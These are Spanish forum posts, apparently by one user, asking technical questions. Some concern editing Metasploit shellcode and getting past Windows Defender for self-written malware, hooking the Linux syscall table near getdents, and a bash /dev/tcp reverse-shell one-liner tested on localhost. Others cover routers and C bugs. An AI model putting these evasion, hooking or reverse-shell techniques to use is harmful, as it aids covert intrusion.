Hola,

Hice un tema recientemente preguntando sobre la suite de Metasploit y un compañero del foro me recomendo modificar el payload y me comentaba que se encuentran ejemplos en Internet de shellcodes modificadas que funcionan.

Bueno, no encontre ninguno que modificara una shellcode binaria... Solo encontre scripts de PowerShell o Python, pero nadie modifico la shellcode binaria que da msfvenom en cadena literal ("\x...").

La abri en el depurador y quiero modificarla pero no se como.

Ya intente desesamblarla con NDISASM para volver a ensamblarla despues de modificarla pero obviamente NDISASM no resulta en codigo "Ensamblable" de nuevo.

No se si Metasploit mismo ofrezca alguna forma de modificar el ensamblador.

¿Alguna idea?

Gracias de antepasado xd

Hola,

Vengo un poco desconcertado. No se si este tema corresponda realmente a Foro Libre pero ante las dudas lo abro aqui.

Tengo una pregunta, ¿Cual es la utilidad real de Metasploit?

Antes de que comiencen con las respuestas obvias, dejenme explicarme...

Siempre he creado mi propio malware. Si, me tardo mas, mi malware es menos estable que el "mainstream", con un millon trescientas mil funciones menos, PERO

1) Lo hice yo, para mi
2) Nunca he sido detectado por ningun antivirus, que yo sepa. Porque

2.1) Lo cifro todo
2.2) Al ser codigo nuevo la heuristica casi nunca funciona, y cuando funciona, suele bastar mas criptografia xd

En fin... dadas las razones por las cuales prefiero programar yo mismo mi malware, les cuento...

El ultimo mes estuve utilizando Metasploit, porque nunca lo habia utilizado y me dio curiosidad. Ademas lo vi en Mr Robot (XD)

En fin... Que (obviamente) me lo detecto el pobre Windows Defender.

Perfecto... Me puse a encriptarlo todo otra vez y ya no era detectable en disco. SIN EMBARGO, al correrlo, Defender lo dectecto de nuevo, esta vez cuando lo corri (Detected: Behavior: ...)

La pregunta es:

Si el codigo de Metasploit es tan detectable, ¿Para que sirve? xdd ¿Para jugar?

Saludos : D

Basicamente eso...

Lo unico que se me ocurre es:

void *start __attribute__((section( /* nombre de la sección */ ))) = (void *) 0;
 

El problema es que start solo apunta a la direccion de la sección cuando el linker lo enlaza al principio y eso creo que solo sucede cuando creas una nueva funcion (o sea, no podrias hacerlo con .idata o .text).

¿Alguien sabe como hacer esto?

PD: Preferiblemente sin utilizar APIs. El lenguaje C deberia darte alguna forma de hacerlo.

Hola,

Contexto de la pregunta:

Tengo un router repetidor. Especificamente el ZTE ZXHN H196Q. Se supone que se necesitan dos de estos para que funcionen como repetidor WiFi. La cuestion es que el tecnico que lo instalo en mi casa no puso ningun otro y lo hizo funcionar. No se como lo hizo pero yo lo desconfigure intentando descubrirlo y ahora tengo que volver a configurarlo. No veo ninguna opcion en la pagina del router que me deje conectarlo a una red WiFi para repetirla. Lo mas parecido que encontre fue una pestaña llamada "Mirror configuration". No se que es pero intente con ello y no funciona.

Me harte. Asi que abri el router y conecte el puerto serial de mi computadora al UART del router, el problema es que ningun baud rate standard parece ser el del router, aunque parece estar en el rango de los 115200 bauds. Se que esto se puede calcular manualmente con un analizador logico, el problema es que no tengo idea de como hacerlo y lo unico que encuentro en Internet son formulas para calcular los bauds.

¿Alguien que me pueda ayudar? Muchas gracias de antemano... esto comienza a desesperarme xd

PD: No encuentro el datasheet del router

Hola,

Contexto: Preguntaba por la funcion kallsyms_lookup_name en tema anterior ya que la estaba usando para atravesar la sys_call_table luego de investigar sobre la programacion de modulos en linux. Ahora me encuentro con un problema cuando me puse a jugar con la tabla:

El valor de la syscall __NR_getdents es 141. Sin embargo, para mi sistema (x86_64) se supone que el valor es 78 y no 141.

¿Alguien tiene idea de que pasa auqui?


(perdon por el tamaño del meme, busque como ajustar el tamaño y no tengo idea)

Hola,

¿Hay alguna forma de borrar los temas?

En todo caso supongo que solo se pueden modificar y eliminar su contenido, el problema es que queda feo. ¿No hay una forma mas "Limpia" de hacerlo?

Gracias : )

Feliz año nuevo,

Tengo una duda...

Si abro dos terminales, y en una ejecuto:

(cliente)

nc localhost 80 1>&0 

y en la otra:

(servidor)

nc -lvp 80

y del lado del servidor escribo:

hola
 

Del lado del cliente, nc no redirige stdout a stdin, y por lo tanto no veo de vuelta "hola" en la terminal del lado del servidor.

Sin embargo, si utilizo archivos para redirigir el i/o:

(cliente)

touch temp && tail -f temp | nc localhost 80 > temp && rm temp

(servidor)

nc -lvp 80

entonces, si envias "hola" desde el servidor, te lo devuelve como un espejo:

hola
hola
 

¿Por que el primer metodo no funciona y el segundo si?

Gracias...

Hola : )

La pregunta es simple. En la funcion kallsyms_lookup_name, ¿Que significa kallsyms?

Gracias.

Feliz casi año nuevo : D

PD: supongo que k de kernel, all de allocate, syms de symbols. Pero es que quiero estar seguro xd

PD2: Hay parches para que esta funcion no pueda ser exportada (mas bien para "desexportarla")... Entonces esta funcion no puede ser una syscall, ¿O si? ¿Pueden las syscalls ser "desexportadas" (Supongo que removiendolas de la IDT)?

Hasta que me puse a experimentar con otras alternativas para codificar las listas, no me habia fijado en esto.

Si se implementa una funcion de insercion asi:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
struct list
{
	char data[512];
 
	struct list *next;
};
 
struct list *list_add(struct list **l, struct list element);
//struct list *list_roam(struct list *l);
 
struct list *list_add(struct list **l, struct list element)
{
	struct list **aux, *head;
	unsigned int count=0;
 
	if(*l==NULL)
	{	
		*l=(struct list *)malloc(sizeof(struct list));
		if(*l==NULL)
		{
			return *l;
		}
 
		memcpy((struct list *) *l,
				(struct list *) &element,
				sizeof(struct list));
 
		(*l)->next=NULL;
 
		printf("1st element (addr %x) \n", *l);
 
		return *l;
	}
 
	aux=l;
	head=*l;
 
	printf("head=%x \n", head);
 
	printf("1: (*aux)=%x \n", (*aux));
	printf("1: (*aux)->data=%s \n", (*aux)->data);
 
	while((*aux)!=NULL)
	{
		(*aux)=(*aux)->next;
		++count;
	}
 
	printf("2: (*aux)=%x \n", (*aux)); 
	printf("2: (*aux)->data=%s \n", (*aux)->data);
 
	(*aux)=(struct list *)malloc(sizeof(struct list));
	if((*aux)==NULL)
	{
		*l=head;
		return *aux;
	}
 
	memcpy((struct list *) (*aux),
			(struct list *) &element,
			sizeof(struct list));
 
	(*aux)->next=NULL;
 
	printf("3: (*aux)->data=%s \n", (*aux)->data);
 
	printf("count=%d \n", count);
 
	printf("head=%x \n", head);
 
	*l=head;
	return *aux;
}
 
int main(int argc, char **argv)
{
	struct list *l=NULL;
	struct list data;
 
	printf("linked list \n");
 
	strcpy(data.data, "1");
	list_add(&l, data);
	strcpy(data.data, "2");
	list_add(&l, data);
	strcpy(data.data, "3");
	list_add(&l, data);
	strcpy(data.data, "4");
	list_add(&l, data);
	strcpy(data.data, "5");
	list_add(&l, data);
 
        return 0;
}
 

(notese que los prinft son para debugging)

Se como hacer una funcion de insercion funcional. Lo que no entiendo es por que esta forma de implementarla no funciona.

La funcion, segun lo que deduje, se comporta como si (*aux) no apuntara al siguiente nodo cuando la atraviesas, sino a algun otro lugar. No entiendo por que... ¿A donde va a apuntar? Si aux es un puntero, no la estructura. Ademas le especifique (aux=l) como se puede ver arriba.

Agradezco cualquier indicio. Un saludote.

Buenas Navidades,

Es mi primer post en el foro. Sin enrollarme mucho me alegro (de volver) aqui y continuo con la pregunta:

Si ejecuto bash interactivo de la siguiente forma:

bash -i 1>& /dev/tcp/127.0.0.1/8080 0>&1 2>&1
 

Puedo redirigir con exito stdout al socket, stdin a stdout (al socket) y stderr a stdout (").

El problema es que si hago lo siguente:

bash -i 0>& /dev/tcp/127.0.0.1/8080 1>&0 2>&0
 

Obtengo el error:

bash: /dev/tcp/127.0.0.1/8080: ambiguous redirect
 

Para entender por que no entiendo yo por que no funciona, yo me imagino la primera linea de comandos asi:

stdout -> socket
stdin <- socket

Lo unico que me imagino que cambia con la segunda, es que se convierte en:

stdin <- socket
stdout -> socket

¿Por que no funciona como deberia?

Gracias de antemano y feliz Navidad de nuevo. Jingle bells jingle bells jingle all the way